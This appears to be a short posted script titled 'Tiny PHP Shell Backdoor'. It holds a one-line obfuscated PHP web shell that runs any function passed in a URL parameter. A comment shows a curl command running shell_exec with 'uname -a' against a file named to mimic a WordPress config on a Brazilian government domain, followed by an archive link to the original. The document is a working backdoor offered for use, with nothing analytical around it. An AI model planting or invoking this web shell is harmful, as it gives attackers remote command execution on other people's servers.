[SCRIPT] Tiny PHP Shell Backdoor

<?=($_=@$_GET[2]).@$_($_GET[1])
# Execute bye curl 'http://alvo.gov.br/wp-confg.php?1=shell_exec&2=uname -a'
# http://web.archive.org/web/20120427221212/http://h.ackack.net/tiny-php-shell.html